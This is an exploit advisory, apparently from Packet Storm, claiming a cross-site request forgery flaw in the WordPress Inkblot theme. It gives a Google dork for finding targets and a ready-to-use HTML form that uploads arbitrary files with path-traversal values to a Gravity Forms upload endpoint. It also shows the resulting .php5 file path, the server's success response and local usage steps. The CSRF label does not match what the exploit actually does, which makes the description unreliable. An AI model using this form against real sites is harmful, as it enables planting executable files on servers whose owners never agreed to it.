WordPress Inkblot Theme version 4.9.10 suffers from a cross site request forgery vulnerability.
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# Exploit Title : WordPress Inkblot Themes 4.9.10 Cross Site Request Forgery
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 22/05/2019
# Vendor Homepage : wordpress.org - gravityforms.com
# Software Download Link : github.com/mgsisk/inkblot/archive/master.zip
# Software Information Link : wordpress.org/themes/inkblot
# Software Affected Versions : 4.5.2 and 4.9.10 - 4.x
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Google Dorks : intext:Powered by WordPress with Inkblot
# Vulnerability Type : CWE-352 [ Cross-Site Request Forgery (CSRF) ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
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# Impact :
***********
WordPress Inkblot Themes is vulnerable to cross-site request forgery, caused by
improper validation of user-supplied input. By persuading an authenticated user to visit
a malicious Web site, a remote attacker could send a malformed HTTP request to
perform unauthorized actions. An attacker could exploit this vulnerability to perform
cross-site scripting attacks, Web cache poisoning, and other malicious activities.
The web application does not, or can not, sufficiently verify whether a well-formed,
valid, consistent request was intentionally provided by the user who submitted the request.
When a web server is designed to receive a request from a client without any mechanism
for verifying that it was intentionally sent, then it might be possible for an attacker to trick a
client into making an unintentional request to the web server which will be treated as an
authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and
can result in exposure of data or unintended code execution.
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# CSRF Cross Site Request Forgery Exploit :
****************************************
<title>WordPress Inkblot Themes Input Exploiter</title>
<form action="http://[VULNERABLEWEBSITE]/?gf_page=upload" method="post" enctype="multipart/form-data">
<body background=" ">
<input type="file" name="file" id="file"><br>
<input name="form_id" value="../../../" type=hidden">
<input name="name" value="kingskrupellos.html" type=''hidden">
<input name="gform_unique_id" value="../../" type="hidden">
<input name="field_id" value="" type="hidden">
<input type="submit" name="gform_submit" value="submit">
</form>
# Directory File Path :
***********************
/_input__kingskrupellos.php5
/_input__[YOURFILENAME].php5
# Vulnerability Error :
*******************
{"status" : "error", "error" : {"code": 500, "message": "Failed to upload file."}}
# Vulnerability Error [ Successful ] :
*******************************
{"status":"ok","data":{"temp_filename":"..\/..\/_input__kingskrupellos.php5","uploaded_filename":"kingskrupellos.php"}}
# Allowed File Extensions :
*************************
.html .htm .php5 .php2 .txt .jpg .gif .png .html.fla .phtml .pdf
# Example Usage for Windows :
******************************
# Use with XAMPP Control Panel and your Localhost.
# Use from htdocs folder located in XAMPP
# 127.0.0.1/wordpressinkblotexploiter.html
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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© 2022 Packet Storm. All rights reserved.
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